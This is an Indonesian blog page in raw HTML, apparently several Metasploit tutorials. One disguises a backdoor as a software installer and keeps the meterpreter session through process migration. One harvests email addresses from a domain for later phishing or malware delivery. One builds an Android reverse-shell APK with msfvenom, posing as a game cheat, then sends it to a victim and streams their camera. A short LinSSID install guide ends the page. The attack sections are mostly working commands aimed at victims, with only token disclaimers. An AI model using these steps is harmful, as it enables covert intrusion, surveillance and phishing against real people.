<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiIBDy6NxIUg254jNrmk-jVVK2S68lOct2GN-QS1akMVzpzHGK4qUmUSBBWhc4ZdXnrp2k0uaAcK9vvWFrcCSXkTGN-j8YO4Z5uh8-oP-RlP2wNj3UwVLZ-FFoLoCQvzDGEDk0NccBuhCQ/s1600/exploit.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="use multi/handler" border="0" height="90" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiIBDy6NxIUg254jNrmk-jVVK2S68lOct2GN-QS1akMVzpzHGK4qUmUSBBWhc4ZdXnrp2k0uaAcK9vvWFrcCSXkTGN-j8YO4Z5uh8-oP-RlP2wNj3UwVLZ-FFoLoCQvzDGEDk0NccBuhCQ/s320/exploit.jpg" title="use multi/handler" width="320" /></a></div>
<br />
Sesuaikan tipe PAYLOAD, LHOST dan LPORT dengan backdoor yang dibuat di atas<br />
<br />
Langkah selanjutnya adalah mengirimkan backdoor tersebut ke target<br />
<div style="text-align: justify;">
Dibawah ini penampakan backdoor di komputer target</div>
<div style="text-align: justify;">
<br /></div>
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjRgFpgLncUjCUZEcX7t_B5QydZzANxMwoIgp1hVJsSkZaXxiQtTcsvATxSIHptG-36gme6U5YJpC4d4pZ6X1FuNwhkytjDa4tXT4KYTXCnXrNjnzAhm3o0MGm12uuLFJmcIzAj3imf9PE/s1600/IDMan.PNG" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img alt="Detail backdoor" border="0" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjRgFpgLncUjCUZEcX7t_B5QydZzANxMwoIgp1hVJsSkZaXxiQtTcsvATxSIHptG-36gme6U5YJpC4d4pZ6X1FuNwhkytjDa4tXT4KYTXCnXrNjnzAhm3o0MGm12uuLFJmcIzAj3imf9PE/s320/IDMan.PNG" title="Menyamarkan Backdoor Seperti File Installer (.exe)" width="284" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;"><span style="font-size: small; text-align: justify;">dilihat sepintas backdoor tersebut menyerupai file installer aslinya, icon dan detailnya pun sama </span></td></tr>
</tbody></table>
Penampakan IDMan.exe di eksekusi<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhvpnK31cDL_ZPZlgdrSD-NleibJJCtQy2zQlnCrfKEb4-SNlhieMgLgibJbzCGdqJ_t-ldV3aj2OUBXIgtdYjTh5zv1mW-UkgDOQ5FEuFiPuwS8_KHaamAq8uu8ZATrPVXlrV0FWktrkQ/s1600/Install-IDMan.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Backdoor di Eksekusi" border="0" height="179" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhvpnK31cDL_ZPZlgdrSD-NleibJJCtQy2zQlnCrfKEb4-SNlhieMgLgibJbzCGdqJ_t-ldV3aj2OUBXIgtdYjTh5zv1mW-UkgDOQ5FEuFiPuwS8_KHaamAq8uu8ZATrPVXlrV0FWktrkQ/s320/Install-IDMan.jpg" title="Menyamarkan Backdoor Seperti File Installer (.exe)" width="320" /></a></div>
<br />
Dan , Sesi meterpreter terbuka  :D<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg-Fcg_ULluWM6Qii6m6L_SCWQ9G7gaQqTFnnwtkqpE_rC6RDMdQ9d0pm3bX1BOEYDJOAez4Xd7wpeYUkLKSDWSwqE3jUgPvCXDWV7vkZppV1MgEEjJnY86WofNsK5nspi8UV-3fpMw-18/s1600/Meterpreter-opened.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Meterpreter Sessions Opened" border="0" height="74" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg-Fcg_ULluWM6Qii6m6L_SCWQ9G7gaQqTFnnwtkqpE_rC6RDMdQ9d0pm3bX1BOEYDJOAez4Xd7wpeYUkLKSDWSwqE3jUgPvCXDWV7vkZppV1MgEEjJnY86WofNsK5nspi8UV-3fpMw-18/s320/Meterpreter-opened.jpg" title="Menyamarkan Backdoor Seperti File Installer (.exe)" width="320" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEic3oGRLBAdUhW3TdC-grkXP89NtXeSKj8QBNJhugZgC2ZO_M__0oR8yhkE9avFZsv7-gmFxDfOiFFN610PNYXpQ2RC4fbRaQFV1VVGvqFAeo5qfD-_1fW7MDgNpksFarumcb2dSdyRmyY/s1600/sysinfo.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="sysinfo" border="0" height="127" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEic3oGRLBAdUhW3TdC-grkXP89NtXeSKj8QBNJhugZgC2ZO_M__0oR8yhkE9avFZsv7-gmFxDfOiFFN610PNYXpQ2RC4fbRaQFV1VVGvqFAeo5qfD-_1fW7MDgNpksFarumcb2dSdyRmyY/s320/sysinfo.jpg" title="Menyamarkan Backdoor Seperti File Installer (.exe)" width="320" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
Meterpreter session akan closed, ketika target menutup file Installer tersebut, untuk  itu segera pindah ke prosses yang lain agar kita tetap mendapat sesi meterpreter, gunakan perintah<br />
<blockquote class="tr_bq">
migrate 6108</blockquote>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh3lyALRdZHLOhIEqNkPIqxU2jQimiTBMlyLdRkvG9y2oYQr8UpQs5lfjMqP_qGfgguIeA-k_XbhY3s34jnA9PODtrkW5pYMZgKlVS3mpQlUd25ia3wBh83Kbl6X9vrOns3ctXQlpokFeU/s1600/migrate-6108.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="migrate 6108" border="0" height="43" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh3lyALRdZHLOhIEqNkPIqxU2jQimiTBMlyLdRkvG9y2oYQr8UpQs5lfjMqP_qGfgguIeA-k_XbhY3s34jnA9PODtrkW5pYMZgKlVS3mpQlUd25ia3wBh83Kbl6X9vrOns3ctXQlpokFeU/s320/migrate-6108.jpg" title="migrate 6108" width="320" /></a></div>
<br />
Contoh di atas saya pindah ke explorer.exe , untuk melihat Procces List ketikkan<br />
<blockquote class="tr_bq">
ps</blockquote>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjk9SjMznnuUgMZwVcnoBp3GVkMLgqkB5Uzi9PJYFy6v10sPM9xCpiPDGI-uwcIVX7iNBfZ7P0pWFN1hfES3aezRNgl6DwtVxRlHuHaEbzjmW_6L2WugzXGQha_sHingEA60R3bwq8jOEg/s1600/ps.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="ps" border="0" height="175" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjk9SjMznnuUgMZwVcnoBp3GVkMLgqkB5Uzi9PJYFy6v10sPM9xCpiPDGI-uwcIVX7iNBfZ7P0pWFN1hfES3aezRNgl6DwtVxRlHuHaEbzjmW_6L2WugzXGQha_sHingEA60R3bwq8jOEg/s320/ps.jpg" title="Menyamarkan Backdoor Seperti File Installer (.exe)" width="320" /></a></div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: justify;">
Kita akan tetap terhubung dengan komputer target sampai koneksi target terputus atau target mematikan komputernya, nah bagaimana agar kita dapat masuk ke komputer target tanpa harus mengirimkan backdoor kembali? kita bisa membuat backdoor persistence, maksudnya adalah kita membuat backdoor permanen di dalam komputer target dan akan otomotis berjalan ketika startup, untuk caranya bisa di lihat pada postingan saya sebelumnya di <a href="http://anher323.blogspot.co.id/2015/12/maintaining-acces-dengan-persistence-metasploit.html" target="_blank">Maintaining Acces dengan Persistence Metasploit</a>.</div>
<br />
<div style="text-align: justify;">
Oke mungkin cukup itu yang bisa saya share kali ini tentang <b>Cara</b> <b>Menyamarkan Backdoor Seperti File Installer</b>, postingan ini ditujukan hanya untuk pemebelajaran semata, penyalahgunaan dari tutorial ini bukan tanggung jawab saya. Terimakasih</div>
sumber <a href="https://www.offensive-security.com/metasploit-unleashed/backdooring-exe-files/" rel="nofollow" target="_blank">www.offensive-security.com</a></div>
</div>

Menyamarkan Backdoor Seperti File Installer (.exe)

Sebelum melakukan eksploitasi ke sebuah sistem kita memerlukan backdoor yang digunakan untuk jalan masuk ke sistem korban. Agar exploit te...

Baca selengkapnya »

Email Harvesting dengan Metasploit di Kali Linux

<div style="text-align: justify;">
Haloo semua,, kali ini saya membahas tentang metasploit, namun bukan untuk exploit windows atau android :p melaikan cara untuk mengatahui email dari domain sebuah website atau bahasa kerennya <b>Email Harvesting</b>,</div>
<div style="text-align: justify;">
nah disini kita akan memanen email dalam sebuah domain dengan salah satu module metasploit yaitu <b>auxiliary/gather/search_email_collector </b>.</div>
<div style="text-align: justify;">
oke langsung saja kita praktekkan,</div>
<div style="text-align: justify;">
buka terlebih dahulu masfconsole</div>
<blockquote class="tr_bq" style="text-align: justify;">
msfconsole</blockquote>
Untuk melihat module yag akan digunakan ketikkan,<br />
<blockquote class="tr_bq">
search collector</blockquote>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhNmB6N250QL2s3kATi4JzMsU-BkUSUjGzGV0hnMnnIEjRXYMheW-BjMMnwQ-XjAp8gmIsjEnjRSSCK5R1H9qcNZ1-6VuqJgttwcHHpZxNQz8BAkGVGMbUKf3ZwnL-fFIheW6Y1bhUs1nA/s1600/2.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="search collector" border="0" height="173" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhNmB6N250QL2s3kATi4JzMsU-BkUSUjGzGV0hnMnnIEjRXYMheW-BjMMnwQ-XjAp8gmIsjEnjRSSCK5R1H9qcNZ1-6VuqJgttwcHHpZxNQz8BAkGVGMbUKf3ZwnL-fFIheW6Y1bhUs1nA/s320/2.jpg" title="Email Harvesting dengan Metasploit di Kali Linux" width="320" /></a></div>
<br />
Langkah di atas bisa di lewati kok, itu cuma melihat module aja :D<br />
Selanjutnya pilih module  <i>auxiliary/gather/search_email_collector</i><br />
<blockquote class="tr_bq">
use auxiliary/gather/search_email_collector</blockquote>
Untuk melihat opsi yang ada ketikkan<br />
<blockquote class="tr_bq">
show options</blockquote>
Selanjutnya pilih domain target<br />
<blockquote class="tr_bq">
set domain www.namadomain.com</blockquote>
Perintah di bawah ini adalah untuk menyimpan hasil output dengan direktori yang ditentukan<br />
<blockquote class="tr_bq">
set outfile /root/anher/result.txt</blockquote>
 Jalankan exploit<br />
<blockquote class="tr_bq">
exploit</blockquote>
Prosses memanenan email sedang berjalan bre :D<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjDXBPDeuaOTyuNuzg-L78bvE0oot8VnbcaQDM98oacf9sphhjYVa9w3zuWxTYYLahbdxr6TZQCWvFWt5rVpA-8jnwpJawpy_on43jR9pmd11XSiL1KZiNZ8NRiooIvku138bqxCZS4D9A/s1600/exploit.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="use auxiliary/gather/search_email_collector" border="0" height="93" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjDXBPDeuaOTyuNuzg-L78bvE0oot8VnbcaQDM98oacf9sphhjYVa9w3zuWxTYYLahbdxr6TZQCWvFWt5rVpA-8jnwpJawpy_on43jR9pmd11XSiL1KZiNZ8NRiooIvku138bqxCZS4D9A/s320/exploit.jpg" title="Email Harvesting dengan Metasploit di Kali Linux" width="320" /></a></div>
<br />
<div style="text-align: justify;">
Ada 41 email bre :D, hasilnya akan muncul di terminal dan juga akan tersimpan kedalam output file yang di tentukan tadi.</div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgfnppUbkP0n5Xfkoy_W6VpcY2ukcKAmQSs_lwyJxOlUXFie4iGRMeGrRjj4tV0JAxl4hDheGmghSKbI28Q2lG4Wuk4v_10sIXG3I0Ze8qPeNzSUA2Hysaesf5ZIEWcwlXUY9UB1uSSn1c/s1600/result.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="output file" border="0" height="187" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgfnppUbkP0n5Xfkoy_W6VpcY2ukcKAmQSs_lwyJxOlUXFie4iGRMeGrRjj4tV0JAxl4hDheGmghSKbI28Q2lG4Wuk4v_10sIXG3I0Ze8qPeNzSUA2Hysaesf5ZIEWcwlXUY9UB1uSSn1c/s320/result.jpg" title="Email Harvesting dengan Metasploit di Kali Linux" width="320" /></a></div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div style="text-align: justify;">
Sebenarnya apa manfaatnya sih jika kita mendapatkan akun email-email ini?? jika kita dapat mengeskplorasi lebih jauh, pasti banyak manfaatnya seperti mnengirimkan backdoor file, virus, trojan, worm, link phising dan sebagainya. </div>
<div style="text-align: justify;">
Namun jangan lakukan itu bre, karena tidak baik :D, disni saya hanya share penggunaan tools saja, tidak menyarankan kalian untuk melakukan kejahatan. penyalahgunaan dari tutorial ini bukan tanggung jawab saya, oke sekian tutorial mengenai <b>Email Harvesting dengan Metasploit di Kali Linux</b>, Terima Kasih</div>

Email Harvesting dengan Metasploit di Kali Linux

Haloo semua,, kali ini saya membahas tentang metasploit, namun bukan untuk exploit windows atau android :p melaikan cara untuk mengatahui e...

Baca selengkapnya »

Exploit Android dengan Metasploit IP Public

<div style="text-align: justify;">
Halo semua, kali ini saya akan memberikan tutorial bagaimana cara exploit android dengan metasploit di ip public, saya kali ini menggunakan Backbox Linux 4.4, kalian juga bisa menggunakan distro linux yang lain asal ada metasploitnya :D, langkah-langkahnya sama kok dengan cara ini</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
oke langsung saja</div>
<div style="text-align: justify;">
pertama kita harus Setting Port Forwarding pada router, tentunya kalian harus login sebagai admin, kemudian cari pengaturan NAT, cek enabled DMZ, lalu isikan local ip kalian. jangan lupa di save</div>
<div style="text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh7ekOJHng59zokvk74c9Q7hU0-4GhDKLOParOJDUvbotLuJyW2mWtiiMckKO7635e5hShIDLRYc5mQUSm22ZT_oEvwZ3IqNu8esx_DLdnOqfZtqYTr5-O1hDiv8lMvuvCaQw8FHnztjlc/s1600/set-modem.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Setting Port Forwarding di Router" border="0" height="129" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh7ekOJHng59zokvk74c9Q7hU0-4GhDKLOParOJDUvbotLuJyW2mWtiiMckKO7635e5hShIDLRYc5mQUSm22ZT_oEvwZ3IqNu8esx_DLdnOqfZtqYTr5-O1hDiv8lMvuvCaQw8FHnztjlc/s320/set-modem.jpg" title="Setting Port Forwarding" width="320" /></a></div>
<div style="text-align: justify;">
<br /></div>
oke lanjut, cek terlebih dahulu ip public dengan cara mengetikkan di terminal <i>sudo curl ifconfig.me</i> atau bisa di cek di <a href="http://www.whatismyip.com/" target="_blank">www.whatismyip.com</a><br />
setelah mengetahui ip public selanjutnya buat backdor dengan msfvenom<br />
<blockquote class="tr_bq">
sudo msfvenom -p android/meterpreter/reverse_tcp lhost=180.214.232.78 lport=443 R > CheatCoc.apk</blockquote>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjXoi0Md4uFK8skjJ3uNv23rMGNdoiNQLU2BCsPe0AYMQwD74587kOhyphenhyphen7qgO74P3iG8_vrbCLoRRWH0IDIohf3bckUrYFq27SUoQKxF2QiqcUM0s-_o_er8S_hsToU6d6mhqDjw9YEw_7Y/s1600/1.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="sudo msfvenom -p android/meterpreter/reverse_tcp lhost=180.214.232.78 lport=443 R > CheatCoc.apk" border="0" height="74" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjXoi0Md4uFK8skjJ3uNv23rMGNdoiNQLU2BCsPe0AYMQwD74587kOhyphenhyphen7qgO74P3iG8_vrbCLoRRWH0IDIohf3bckUrYFq27SUoQKxF2QiqcUM0s-_o_er8S_hsToU6d6mhqDjw9YEw_7Y/s320/1.jpg" title="Exploit Android dengan Metasploit IP Public" width="320" /></a></div>
<br />
<div class="separator" style="clear: both;">
Kalian sesuaikan <b>lhost</b> dengan <b>ip public</b> kalian, <b>lport</b> juga bisa di isi terserah, CheatCoc.apk merupakan nama backdoor yang dibuat</div>
<br />
setelah backdoor terbuat sekarang buka metasploit console<br />
<blockquote class="tr_bq">
msfconsole</blockquote>
 oke selanjutnya tinggal kita jalankan exploit<br />
<blockquote class="tr_bq">
use exploit/multi/handler<br />
set payload android/meterpreter/reverse_tcp<br />
set lhost 192.168.1.106<br />
set lport 443<br />
exploit</blockquote>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg8Pjl9EHTC4wXpLGbXTUn14WJ19Pjbxjoi4yn5VehurXUyKN4e5jLdkShqC607FOq6nQKrmWB7dbu_W7W3Xv9FzTA6jC3wJbsVV0rvIoCUtLkv1371AhKFYoKZpQGo_JgpGm-rbEkDbvw/s1600/3.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="set payload android/meterpreter/reverse_tcp" border="0" height="150" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg8Pjl9EHTC4wXpLGbXTUn14WJ19Pjbxjoi4yn5VehurXUyKN4e5jLdkShqC607FOq6nQKrmWB7dbu_W7W3Xv9FzTA6jC3wJbsVV0rvIoCUtLkv1371AhKFYoKZpQGo_JgpGm-rbEkDbvw/s320/3.jpg" title="Exploit Android dengan Metasploit IP Public" width="320" /></a></div>
<br />
lhost isi dengan ip local<br />
<div style="text-align: justify;">
lport sesuaikan dengan lport backdoor yang dibuat</div>
<div style="text-align: justify;">
sekarang tinggal kirimkan backdoor tadi ke target, tunggu taget menginstall backdoor dan membukanya</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
nahh, meterpreter sessions 1 opened, exploitnya berhasil bro :D</div>
<div style="text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgmgA-Q-vK8ftyYPX0fs0snFsF35sPNKtBRNV9xrFFUG0qewKKd25yS_htu9qECNY6aAZLL9cfifLfAFc_K-8z-s1U8eQPNb8tyBGzBbkS5L1so-PnZLyzVd2NUJBGf-D-EMpmwScy0uVc/s1600/3a.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="meterpreter sessions 1 opened" border="0" height="72" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgmgA-Q-vK8ftyYPX0fs0snFsF35sPNKtBRNV9xrFFUG0qewKKd25yS_htu9qECNY6aAZLL9cfifLfAFc_K-8z-s1U8eQPNb8tyBGzBbkS5L1so-PnZLyzVd2NUJBGf-D-EMpmwScy0uVc/s320/3a.jpg" title="Exploit Android dengan Metasploit IP Public" width="320" /></a></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
Coba cek infomasi sistem target</div>
<div style="text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhp44zTU6wQNOaEhbtFgnd_4M88mhm-0S3-M89j4HElpdE07ibjl5GkL2RFFa9V-UJetolMpkUMJnZwkTIgxN6jJce8Yk690FKHc_JlSbKvL8mxJ5ApJTJ6cEjuzc41ikGVpVh9ee0dvYE/s1600/4.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="sysinfo" border="0" height="132" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhp44zTU6wQNOaEhbtFgnd_4M88mhm-0S3-M89j4HElpdE07ibjl5GkL2RFFa9V-UJetolMpkUMJnZwkTIgxN6jJce8Yk690FKHc_JlSbKvL8mxJ5ApJTJ6cEjuzc41ikGVpVh9ee0dvYE/s320/4.jpg" title="Exploit Android dengan Metasploit IP Public" width="320" /></a></div>
<br />
Streaming camera korban<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhVEdiSO_1qd4gbM3np6ecNFfV-fU_fo9SMogjvpzEVLlN2f-8rp9qHUyeHk-CQHTCe0RIr-xsA14N1moNDVwATeR5DuiTyUMb2tYF-I-0G8woXOdDLZ4CCGu5EDJe9LWFZzDcKsOExJdg/s1600/5.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="" border="0" height="187" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhVEdiSO_1qd4gbM3np6ecNFfV-fU_fo9SMogjvpzEVLlN2f-8rp9qHUyeHk-CQHTCe0RIr-xsA14N1moNDVwATeR5DuiTyUMb2tYF-I-0G8woXOdDLZ4CCGu5EDJe9LWFZzDcKsOExJdg/s320/5.jpg" title="Exploit Android dengan Metasploit IP Public" width="320" /></a></div>
<br />
Beberapa perintah meterpreter yang lain untuk android<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgbtQyaFQUSqms4z7VikXUk2_gn-F4yEitLPTXG1aRssHoaNr1TIyTtDxazKAFdiaGYPm4wuZvreqeHoXjO0eTSb1poQdpm1-emECKxRsKZVedF3GfooGjkmgEYJXSSib0pDQFRLIDBDPA/s1600/10.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="" border="0" height="180" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgbtQyaFQUSqms4z7VikXUk2_gn-F4yEitLPTXG1aRssHoaNr1TIyTtDxazKAFdiaGYPm4wuZvreqeHoXjO0eTSb1poQdpm1-emECKxRsKZVedF3GfooGjkmgEYJXSSib0pDQFRLIDBDPA/s320/10.jpg" title="Exploit Android dengan Metasploit IP Public" width="320" /></a></div>
<br />
<div style="text-align: justify;">
Sekian tutorial mengenai <b>Cara Exploit Android dengan Metasploit di IP Public</b> semoga bermanfaat. ini hanya sebuah pembelajaran, penyalahgunaan dari tutorial ini bukan tanggung jawab saya, Terima kasih</div>

Exploit Android dengan Metasploit IP Public

Halo semua, kali ini saya akan memberikan tutorial bagaimana cara exploit android dengan metasploit di ip public, saya kali ini menggunakan...

Baca selengkapnya »

Install LinSSID di Backbox Linux

<div>
<div style="text-align: justify;">
LinSSID merupakan sebuah aplikasi sederhana yang dapat digunakan untuk mencari sebuah SSID yang terdsedia, LinSSID adalah aplikasi open source yang ditulis dalam C ++ menggunakan alat nirkabel Linux , Qt5 , dan QWT 6.1, dengan aplikasi ini kita bisa mengetahui frequency, channel, mac address, mode, signal, dan chipper atau jenis otentikasi dari semua SSID yang ada di lingkungan kita.</div>
<div style="text-align: justify;">
<br /></div>
<div>
berikut ini adalah cara Install LinSSID di Backbox Linux<br />
cara pertama dengan  install dari repository ppa, ketikkan perintah di bawah ini<br />
<blockquote class="tr_bq">
sudo add-apt-repository ppa:wseverin/ppa<br />
sudo apt-get update<br />
sudo apt-get install linssid</blockquote>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgaD-IEDrv54HgdvY1r-QZyo1hlKFUd5Z3Cd3ryJWosqfrdy02rA4g-oFgqb8xILbIEJFPMpCfVgoJHqd2QFT_vQB53-W21Am0_zBWDxw5DekEVD-GxlUt-hO9eOV6tf7Pk_kK0y40I6Rw/s1600/3.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="sudo apt-get install linssid" border="0" height="183" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgaD-IEDrv54HgdvY1r-QZyo1hlKFUd5Z3Cd3ryJWosqfrdy02rA4g-oFgqb8xILbIEJFPMpCfVgoJHqd2QFT_vQB53-W21Am0_zBWDxw5DekEVD-GxlUt-hO9eOV6tf7Pk_kK0y40I6Rw/s320/3.jpg" title="Install LinSSID di Backbox Linux" width="320" /></a></div>
<br />
cara install  yang kedua dengan mendownload  LinSSID di <a href="http://sourceforge.net/projects/linssid/files/">http://sourceforge.net/projects/linssid/files/</a> sesuaikan dengan arsitektur system anda, jika 32-bit pilih yang i386 jika 64-bit pilih amd64</div>
</div>
<div style="text-align: justify;">
lalu install dari terminal dengan perintah<br />
<blockquote class="tr_bq">
sudo dpkg -i linssid_2.7-1_i386.deb</blockquote>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiubaDoTHmLxFeOfzu3GE6DbLD_yuBz0huBfxaSGH69kBw7b_Q5pg3njCOgPyRlMweQXHrRfIMTP0yV0bnc_AZdmeoHIV3YWHCM4l4uvhO2qa_LnGkK1Pfv4cf2xjVV1VRnS-XkJ-oOX3Y/s1600/dpkg--i.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="sudo dpkg -i linssid_2.7-1_i386.deb" border="0" height="128" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiubaDoTHmLxFeOfzu3GE6DbLD_yuBz0huBfxaSGH69kBw7b_Q5pg3njCOgPyRlMweQXHrRfIMTP0yV0bnc_AZdmeoHIV3YWHCM4l4uvhO2qa_LnGkK1Pfv4cf2xjVV1VRnS-XkJ-oOX3Y/s320/dpkg--i.jpg" title="Install LinSSID di Backbox Linux" width="320" /></a></div>
<br />
sesuaikan sendiri letak direktori dan namafile.deb</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<div style="text-align: start;">
<div>
Cara Penggunaannya pun cukup mudah, kita tidak perlu connect ke wifi terlebih dahulu, kita hanya perlu membuka LinSSID, masukkan password root jika diminta<br />
<div class="separator" style="clear: both; text-align: center;">
<span style="text-align: justify;"><br /></span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhpxEG2XJvHHdzwn3w_UcizFX1zMlCvTR3QoQLLjh6oqUD7LCxfwd9hd0-SNRNse01ijfIuQ3aMCau3DW9gXViTgog_MaGJ7uMB1C36NgD-fI47BDr6ZSnMmdxCXE3OZosVJcZFG1gmp7c/s1600/4.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="masukkan password" border="0" height="187" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhpxEG2XJvHHdzwn3w_UcizFX1zMlCvTR3QoQLLjh6oqUD7LCxfwd9hd0-SNRNse01ijfIuQ3aMCau3DW9gXViTgog_MaGJ7uMB1C36NgD-fI47BDr6ZSnMmdxCXE3OZosVJcZFG1gmp7c/s320/4.jpg" title="Install LinSSID di Backbox Linux" width="320" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div>
kemudian klik tombol scanning,</div>
</div>
<div>
<br /></div>
<div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh2fVbbJgsgk6gQ44RjxIsZPoM5mUJqCMKqC-3xMfzMppnZJyymQ4OA5rHZ3TfFwswIqm35nrd3UuNsYYSQzcr75bJjuX2W9YK3Kbej22kCudYu3KhZQ-1hPsKedTc4DGBH_Z9K_p84Nsk/s1600/5.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="scanning" border="0" height="187" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh2fVbbJgsgk6gQ44RjxIsZPoM5mUJqCMKqC-3xMfzMppnZJyymQ4OA5rHZ3TfFwswIqm35nrd3UuNsYYSQzcr75bJjuX2W9YK3Kbej22kCudYu3KhZQ-1hPsKedTc4DGBH_Z9K_p84Nsk/s320/5.png" title="Install LinSSID di Backbox Linux" width="320" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
